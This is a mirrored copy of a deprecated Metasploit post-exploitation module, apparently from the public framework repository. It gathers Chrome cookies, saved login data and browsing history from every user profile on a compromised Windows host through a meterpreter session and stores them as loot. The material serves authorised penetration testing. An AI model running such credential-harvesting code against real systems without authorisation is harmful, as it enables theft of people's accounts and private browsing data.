Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/chrome.rb
Views: 11704
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8# this associative array defines the artifacts known to PackRat9include Msf::Post::File10include Msf::Post::Windows::UserProfiles11include Msf::Post::Windows::Packrat1213include Msf::Exploit::Deprecated1415deprecated nil, 'The post/windows/gather/enum_browsers module now supersedes this module'1617ARTIFACTS =18{19application: 'chrome',20app_category: 'browsers',21gatherable_artifacts: [22{23filetypes: 'cookies',24path: 'LocalAppData',25dir: 'Google',26artifact_file_name: 'Cookies',27description: "Chrome's Cookies",28credential_type: 'sqlite',29sql_search: [30{31sql_description: "Database Commands which exports Chrome's Cookie data",32sql_table: 'cookies',33sql_column: 'host_key, name, path'34}35]36},37{38filetypes: 'logins',39path: 'LocalAppData',40dir: 'Google',41artifact_file_name: 'Login Data',42description: "Chrome's saved Username and Passwords",43credential_type: 'sqlite',44sql_search: [45{46sql_description: "Database Commands which exports Chrome's Login data",47sql_table: 'logins',48sql_column: 'username_value, action_url'49}50]51},52{53filetypes: 'web_history',54path: 'LocalAppData',55dir: 'Google',56artifact_file_name: 'History',57description: "Chrome's History",58credential_type: 'sqlite',59sql_search: [60{61sql_description: "Database Commands which exports Chrome's Login data",62sql_table: 'urls',63sql_column: 'url'64},65{66sql_description: "Database Commands which exports Chrome's Login data",67sql_table: 'keyword_search_terms',68sql_column: 'lower_term'69},70{71sql_description: "Database Commands which exports Chrome's Login data",72sql_table: 'downloads',73sql_column: 'current_path, tab_referrer_url'74},75{76sql_description: "Database Commands which exports Chrome's Login data",77sql_table: 'segments',78sql_column: 'name'79},80{81sql_description: "Database Commands which exports Chrome's Login data",82sql_table: 'downloads_url_chains',83sql_column: 'url'84}85]86}87]88}.freeze8990def initialize(info = {})91super(92update_info(93info,94'Name' => 'Chrome credential gatherer',95'Description' => %q{96PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.97PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.98Further details can be found in the module documentation.99This is a module that searches for credentials stored on Chrome in a windows remote host.100},101'License' => MSF_LICENSE,102'Author' => [103'Kazuyoshi Maruta',104'Daniel Hallsworth',105'Barwar Salim M',106'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org107],108'Platform' => ['win'],109'SessionTypes' => ['meterpreter'],110'Notes' => {111'Stability' => [CRASH_SAFE],112'Reliability' => [],113'SideEffects' => []114}115)116)117118register_options(119[120OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),121OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),122OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),123# enumerates the options based on the artifacts that are defined below124OptEnum.new('ARTIFACTS', [125false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|126k[:filetypes]127end.uniq.unshift('All')128])129]130)131end132133def run134print_status('Filtering based on these selections: ')135print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")136print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")137print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")138139# used to grab files for each user on the remote host140grab_user_profiles.each do |userprofile|141run_packrat(userprofile, ARTIFACTS)142end143144print_status 'PackRat credential sweep Completed'145end146end147148149